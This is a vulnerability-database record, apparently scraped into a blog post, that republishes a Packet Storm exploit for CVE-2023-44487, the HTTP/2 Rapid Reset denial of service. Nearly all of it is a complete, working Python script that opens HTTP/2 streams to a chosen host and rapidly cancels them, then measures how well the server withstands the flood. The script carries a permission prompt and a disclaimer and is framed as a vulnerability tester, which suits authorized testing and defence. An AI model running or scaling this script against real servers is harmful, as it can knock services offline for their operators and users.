{“lastseen”:”2025-11-03T16:54:11″,”description”:”This………………………………”,”published”:”2025-11-03T00:00:00″,”modified”:”2025-11-03T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 HTTP\/2 2.0 Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:211124″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-44487″],”sourceData”:”#!\/usr\/bin\/env python3\\n \\”\\”\\”\\n # Exploit Title: HTTP\/2 2.0 – Denial Of Service (DOS)\\n # Google Dork: -NA-\\n # Date: 29th August 2025\\n # Exploit Author: Madhusudhan Rajappa\\n # Vendor Homepage: -NA-\\n # Software Link: -NA-\\n # Version: HTTP\/2.0\\n # Tested on: -NA-\\n # CVE : CVE-2023-44487\\n \\”\\”\\”\\n \\n import asyncio\\n import ssl\\n import time\\n import argparse\\n import logging\\n from typing import Optional, Tuple\\n import statistics\\n \\n try:\\n import h2.connection\\n import h2.events\\n import h2.exceptions\\n import h2.config\\n except ImportError:\\n print(\\”Error: h2 library not installed. Install with: pip install h2\\”)\\n exit(1)\\n \\n # Configure logging\\n logging.basicConfig(\\n level=logging.INFO,\\n format=’%(asctime)s – %(levelname)s – %(message)s’\\n )\\n logger = logging.getLogger(__name__)\\n \\n class HTTP2RapidResetTester:\\n \\”\\”\\”Class to test for CVE-2023-44487 HTTP\/2 Rapid Reset vulnerability.\\”\\”\\”\\n \\n def __init__(self, host: str, port: int = 443, use_ssl: bool = True):\\n self.host = host\\n self.port = port\\n self.use_ssl = use_ssl\\n self.connection = None\\n self.reader = None\\n self.writer = None\\n self.response_times = []\\n self.errors = []\\n self.connection_closed = False\\n \\n async def connect(self) -\\u003e bool:\\n \\”\\”\\”Establish HTTP\/2 connection to the target server.\\”\\”\\”\\n try:\\n logger.info(f\\”Connecting to {self.host}:{self.port}\\”)\\n \\n if self.use_ssl:\\n ssl_context = ssl.create_default_context()\\n ssl_context.set_alpn_protocols([‘h2’])\\n self.reader, self.writer = await asyncio.open_connection(\\n self.host, self.port, ssl=ssl_context\\n )\\n else:\\n self.reader, self.writer = await asyncio.open_connection(self.host, self.port)\\n \\n # Initialize HTTP\/2 connection\\n config = h2.config.H2Configuration(client_side=True)\\n self.connection = h2.connection.H2Connection(config=config)\\n self.connection.initiate_connection()\\n \\n # Send connection preface\\n await self._send_data(self.connection.data_to_send())\\n \\n logger.info(\\”HTTP\/2 connection established successfully\\”)\\n self.connection_closed = False\\n return True\\n \\n except Exception as e:\\n logger.error(f\\”Failed to establish connection: {e}\\”)\\n return False\\n \\n async def _send_data(self, data: bytes):\\n \\”\\”\\”Send data to the server.\\”\\”\\”\\n if data and self.writer and not self.connection_closed:\\n try:\\n self.writer.write(data)\\n await self.writer.drain()\\n except (ConnectionResetError, BrokenPipeError, OSError) as e:\\n logger.debug(f\\”Connection error while sending data: {e}\\”)\\n self.connection_closed = True\\n \\n async def _receive_data(self) -\\u003e bytes:\\n \\”\\”\\”Receive data from the server.\\”\\”\\”\\n try:\\n if self.connection_closed or not self.reader:\\n return b”\\n data = await asyncio.wait_for(self.reader.read(65535), timeout=5.0)\\n if not data:\\n self.connection_closed = True\\n return data\\n except asyncio.TimeoutError:\\n return b”\\n except (ConnectionResetError, BrokenPipeError, OSError) as e:\\n logger.debug(f\\”Connection error while receiving data: {e}\\”)\\n self.connection_closed = True\\n return b”\\n \\n async def rapid_reset_test(self, num_streams: int = 100, delay: float = 0.001) -\\u003e dict:\\n \\”\\”\\”\\n Perform the rapid reset attack test.\\n \\n Args:\\n num_streams: Number of streams to create and reset\\n delay: Delay between stream creations (seconds)\\n \\n Returns:\\n Dictionary with test results\\n \\”\\”\\”\\n logger.info(f\\”Starting rapid reset test with {num_streams} streams\\”)\\n \\n start_time = time.time()\\n created_streams = []\\n reset_streams = []\\n \\n try:\\n # Phase 1: Rapidly create streams\\n for i in range(num_streams):\\n if self.connection_closed:\\n logger.warning(\\”Connection closed during stream creation\\”)\\n break\\n \\n stream_id = (i * 2) + 1 # Odd numbers for client-initiated streams\\n \\n # Create HTTP\/2 headers\\n headers = [\\n (‘:method’, ‘GET’),\\n (‘:path’, ‘\/’),\\n (‘:scheme’, ‘https’ if self.use_ssl else ‘http’),\\n (‘:authority’, self.host),\\n (‘user-agent’, ‘CVE-2023-44487-Tester\/1.0’),\\n ]\\n \\n try:\\n # Send headers to create stream\\n self.connection.send_headers(stream_id, headers)\\n await self._send_data(self.connection.data_to_send())\\n created_streams.append(stream_id)\\n \\n # Small delay to avoid overwhelming the connection\\n if delay \\u003e 0:\\n await asyncio.sleep(delay)\\n \\n except Exception as e:\\n self.errors.append(f\\”Error creating stream {stream_id}: {e}\\”)\\n if \\”connection\\” in str(e).lower():\\n break\\n \\n logger.info(f\\”Created {len(created_streams)} streams\\”)\\n \\n # Phase 2: Rapidly reset all streams\\n reset_start = time.time()\\n for stream_id in created_streams:\\n if self.connection_closed:\\n logger.warning(\\”Connection closed during stream reset\\”)\\n break\\n \\n try:\\n # Send RST_STREAM frame to cancel the request\\n self.connection.reset_stream(stream_id, error_code=0x8) # CANCEL error code\\n await self._send_data(self.connection.data_to_send())\\n reset_streams.append(stream_id)\\n \\n if delay \\u003e 0:\\n await asyncio.sleep(delay \/ 10) # Faster resets\\n \\n except h2.exceptions.StreamClosedError:\\n # Stream already closed, continue\\n pass\\n except Exception as e:\\n self.errors.append(f\\”Error resetting stream {stream_id}: {e}\\”)\\n if \\”connection\\” in str(e).lower():\\n break\\n \\n reset_duration = time.time() – reset_start\\n total_duration = time.time() – start_time\\n \\n logger.info(f\\”Reset {len(reset_streams)} streams in {reset_duration:.3f}s\\”)\\n \\n # Phase 3: Monitor server response\\n await self._monitor_server_response(timeout=10.0)\\n \\n return {\\n ‘streams_created’: len(created_streams),\\n ‘streams_reset’: len(reset_streams),\\n ‘total_duration’: total_duration,\\n ‘reset_duration’: reset_duration,\\n ‘reset_rate’: len(reset_streams) \/ reset_duration if reset_duration \\u003e 0 else 0,\\n ‘errors’: len(self.errors),\\n ‘response_times’: self.response_times.copy(),\\n ‘avg_response_time’: statistics.mean(self.response_times) if self.response_times else 0,\\n ‘connection_closed’: self.connection_closed\\n }\\n \\n except Exception as e:\\n logger.error(f\\”Error during rapid reset test: {e}\\”)\\n return {‘error’: str(e)}\\n \\n async def _monitor_server_response(self, timeout: float = 10.0):\\n \\”\\”\\”Monitor server responses and measure response times.\\”\\”\\”\\n logger.info(\\”Monitoring server responses…\\”)\\n \\n end_time = time.time() + timeout\\n \\n while time.time() \\u003c end_time and not self.connection_closed:\\n try:\\n start = time.time()\\n data = await self._receive_data()\\n response_time = time.time() – start\\n \\n if data:\\n self.response_times.append(response_time)\\n \\n try:\\n # Process HTTP\/2 events\\n events = self.connection.receive_data(data)\\n for event in events:\\n if isinstance(event, h2.events.ResponseReceived):\\n logger.debug(f\\”Response received on stream {event.stream_id}\\”)\\n elif isinstance(event, h2.events.StreamReset):\\n logger.debug(f\\”Stream {event.stream_id} reset by server\\”)\\n elif isinstance(event, h2.events.ConnectionTerminated):\\n logger.warning(\\”Server terminated connection\\”)\\n self.connection_closed = True\\n return\\n except Exception as e:\\n logger.debug(f\\”Error processing HTTP\/2 events: {e}\\”)\\n \\n await asyncio.sleep(0.1)\\n \\n except Exception as e:\\n self.errors.append(f\\”Error monitoring response: {e}\\”)\\n break\\n \\n async def baseline_test(self, num_requests: int = 10) -\\u003e dict:\\n \\”\\”\\”Perform baseline test with normal HTTP\/2 requests.\\”\\”\\”\\n logger.info(f\\”Performing baseline test with {num_requests} normal requests\\”)\\n \\n start_time = time.time()\\n successful_requests = 0\\n \\n for i in range(num_requests):\\n if self.connection_closed:\\n logger.warning(\\”Connection closed during baseline test\\”)\\n break\\n \\n stream_id = (i * 2) + 1\\n \\n headers = [\\n (‘:method’, ‘GET’),\\n (‘:path’, ‘\/’),\\n (‘:scheme’, ‘https’ if self.use_ssl else ‘http’),\\n (‘:authority’, self.host),\\n (‘user-agent’, ‘CVE-2023-44487-Baseline\/1.0’),\\n ]\\n \\n try:\\n request_start = time.time()\\n self.connection.send_headers(stream_id, headers)\\n self.connection.end_stream(stream_id)\\n await self._send_data(self.connection.data_to_send())\\n \\n # Wait for response\\n try:\\n data = await asyncio.wait_for(self._receive_data(), timeout=5.0)\\n if data:\\n self.response_times.append(time.time() – request_start)\\n successful_requests += 1\\n except asyncio.TimeoutError:\\n logger.warning(f\\”Timeout waiting for response to request {i+1}\\”)\\n \\n await asyncio.sleep(0.1) # Small delay between requests\\n \\n except Exception as e:\\n logger.warning(f\\”Error in baseline request {i+1}: {e}\\”)\\n if \\”connection\\” in str(e).lower():\\n break\\n \\n total_duration = time.time() – start_time\\n \\n return {\\n ‘total_requests’: num_requests,\\n ‘successful_requests’: successful_requests,\\n ‘total_duration’: total_duration,\\n ‘avg_response_time’: statistics.mean(self.response_times) if self.response_times else 0,\\n ‘success_rate’: successful_requests \/ num_requests if num_requests \\u003e 0 else 0\\n }\\n \\n async def close(self):\\n \\”\\”\\”Close the connection gracefully.\\”\\”\\”\\n if self.writer and not self.connection_closed:\\n try:\\n # Try to close the connection gracefully\\n if self.connection:\\n try:\\n # Send GOAWAY frame if possible\\n self.connection.close_connection()\\n await self._send_data(self.connection.data_to_send())\\n except Exception as e:\\n logger.debug(f\\”Error sending GOAWAY frame: {e}\\”)\\n \\n # Close the writer\\n self.writer.close()\\n \\n # Wait for close with timeout to avoid hanging\\n try:\\n await asyncio.wait_for(self.writer.wait_closed(), timeout=2.0)\\n except asyncio.TimeoutError:\\n logger.debug(\\”Timeout waiting for connection to close\\”)\\n except (ConnectionResetError, BrokenPipeError, OSError):\\n # Connection already closed by peer, this is expected\\n pass\\n \\n except Exception as e:\\n logger.debug(f\\”Error during connection cleanup: {e}\\”)\\n finally:\\n self.connection_closed = True\\n \\n async def main():\\n parser = argparse.ArgumentParser(\\n description=’CVE-2023-44487 HTTP\/2 Rapid Reset Vulnerability Tester’,\\n epilog=’WARNING: Only use on systems you own or have permission to test!’\\n )\\n parser.add_argument(‘host’, help=’Target hostname’)\\n parser.add_argument(‘-p’, ‘–port’, type=int, default=443, help=’Target port (default: 443)’)\\n parser.add_argument(‘–no-ssl’, action=’store_true’, help=’Disable SSL\/TLS’)\\n parser.add_argument(‘-s’, ‘–streams’, type=int, default=100, \\n help=’Number of streams for rapid reset test (default: 100)’)\\n parser.add_argument(‘-d’, ‘–delay’, type=float, default=0.001,\\n help=’Delay between stream operations (default: 0.001s)’)\\n parser.add_argument(‘–baseline-only’, action=’store_true’,\\n help=’Only perform baseline test’)\\n parser.add_argument(‘-v’, ‘–verbose’, action=’store_true’, help=’Verbose output’)\\n \\n args = parser.parse_args()\\n \\n if args.verbose:\\n logging.getLogger().setLevel(logging.DEBUG)\\n \\n print(\\”=\\” * 60)\\n print(\\”CVE-2023-44487 HTTP\/2 Rapid Reset Vulnerability Tester\\”)\\n print(\\”=\\” * 60)\\n print(f\\”Target: {args.host}:{args.port}\\”)\\n print(f\\”SSL: {‘Enabled’ if not args.no_ssl else ‘Disabled’}\\”)\\n print()\\n \\n # Legal disclaimer\\n print(\\”LEGAL DISCLAIMER:\\”)\\n print(\\”This tool is for authorized security testing only.\\”)\\n print(\\”Ensure you have permission to test the target system.\\”)\\n print(\\”Unauthorized use may be illegal.\\”)\\n print()\\n \\n response = input(\\”Do you have permission to test this system? (yes\/no): \\”)\\n if response.lower() != ‘yes’:\\n print(\\”Exiting. Only use this tool on systems you’re authorized to test.\\”)\\n return\\n \\n tester = HTTP2RapidResetTester(args.host, args.port, not args.no_ssl)\\n \\n try:\\n # Connect to target\\n if not await tester.connect():\\n logger.error(\\”Failed to establish connection. Exiting.\\”)\\n return\\n \\n # Perform baseline test\\n print(\\”\\\\n\\” + \\”=\\”*40)\\n print(\\”BASELINE TEST\\”)\\n print(\\”=\\”*40)\\n baseline_results = await tester.baseline_test()\\n \\n print(f\\”Baseline Results:\\”)\\n print(f\\” Total Requests: {baseline_results[‘total_requests’]}\\”)\\n print(f\\” Successful: {baseline_results[‘successful_requests’]}\\”)\\n print(f\\” Success Rate: {baseline_results[‘success_rate’]:.2%}\\”)\\n print(f\\” Avg Response Time: {baseline_results[‘avg_response_time’]:.3f}s\\”)\\n print(f\\” Total Duration: {baseline_results[‘total_duration’]:.3f}s\\”)\\n \\n if not args.baseline_only:\\n # Reset connection for rapid reset test\\n await tester.close()\\n tester = HTTP2RapidResetTester(args.host, args.port, not args.no_ssl)\\n \\n if not await tester.connect():\\n logger.error(\\”Failed to re-establish connection for rapid reset test.\\”)\\n return\\n \\n # Perform rapid reset test\\n print(\\”\\\\n\\” + \\”=\\”*40)\\n print(\\”RAPID RESET TEST (CVE-2023-44487)\\”)\\n print(\\”=\\”*40)\\n print(f\\”Testing with {args.streams} streams…\\”)\\n \\n rapid_results = await tester.rapid_reset_test(args.streams, args.delay)\\n \\n if ‘error’ in rapid_results:\\n print(f\\”Test failed: {rapid_results[‘error’]}\\”)\\n else:\\n print(f\\”Rapid Reset Results:\\”)\\n print(f\\” Streams Created: {rapid_results[‘streams_created’]}\\”)\\n print(f\\” Streams Reset: {rapid_results[‘streams_reset’]}\\”)\\n print(f\\” Reset Rate: {rapid_results[‘reset_rate’]:.1f} resets\/second\\”)\\n print(f\\” Total Duration: {rapid_results[‘total_duration’]:.3f}s\\”)\\n print(f\\” Reset Duration: {rapid_results[‘reset_duration’]:.3f}s\\”)\\n print(f\\” Errors: {rapid_results[‘errors’]}\\”)\\n print(f\\” Avg Response Time: {rapid_results[‘avg_response_time’]:.3f}s\\”)\\n \\n if rapid_results.get(‘connection_closed’):\\n print(f\\” Connection Status: Server closed connection during test\\”)\\n \\n # Analysis\\n print(\\”\\\\n\\” + \\”=\\”*40)\\n print(\\”VULNERABILITY ANALYSIS\\”)\\n print(\\”=\\”*40)\\n \\n if rapid_results.get(‘connection_closed’):\\n print(\\”Server closed connection during rapid reset test\\”)\\n print(\\” This could indicate protective measures or resource exhaustion.\\”)\\n \\n if rapid_results[‘streams_reset’] \\u003c rapid_results[‘streams_created’] * 0.8:\\n print(\\”WARNING: Server may have rejected many reset requests\\”)\\n print(\\” This could indicate protective measures are in place.\\”)\\n \\n if rapid_results[‘reset_rate’] \\u003e 1000:\\n print(\\”HIGH RISK: Server accepts very high reset rates\\”)\\n print(\\” This may indicate vulnerability to CVE-2023-44487\\”)\\n \\n elif rapid_results[‘reset_rate’] \\u003e 100:\\n print(\\”MEDIUM RISK: Server accepts moderate reset rates\\”)\\n print(\\” Further testing may be needed\\”)\\n \\n else:\\n print(\\”LOWER RISK: Server has rate limiting on resets\\”)\\n print(\\” This suggests some protection against the vulnerability\\”)\\n \\n if len(tester.errors) \\u003e rapid_results[‘streams_created’] * 0.1:\\n print(\\”Many errors occurred during testing\\”)\\n print(\\” Results may not be reliable\\”)\\n \\n except KeyboardInterrupt:\\n print(\\”\\\\nTest interrupted by user\\”)\\n except Exception as e:\\n logger.error(f\\”Unexpected error: {e}\\”)\\n finally:\\n try:\\n await tester.close()\\n except Exception as e:\\n logger.debug(f\\”Error during final cleanup: {e}\\”)\\n print(\\”\\\\nTest completed.\\”)\\n \\n if __name__ == \\”__main__\\”:\\n print(\\”CVE-2023-44487 HTTP\/2 Rapid Reset Vulnerability Tester\\”)\\n print(\\”Requires: pip install h2\\”)\\n print()\\n \\n try:\\n asyncio.run(main())\\n except KeyboardInterrupt:\\n print(\\”\\\\nExiting…\\”)\\n except Exception as e:\\n logger.error(f\\”Fatal error: {e}\\”)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/211124″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211124\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-03T16:54:11″,”description”:”This………………………………”,”published”:”2025-11-03T00:00:00″,”modified”:”2025-11-03T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 HTTP\/2 2.0 Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:211124″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-44487″],”sourceData”:”#!\/usr\/bin\/env python3\\n \\”\\”\\”\\n # Exploit Title: HTTP\/2 2.0 – Denial Of Service (DOS)\\n # Google Dork: -NA-\\n # Date: 29th…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-24495","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n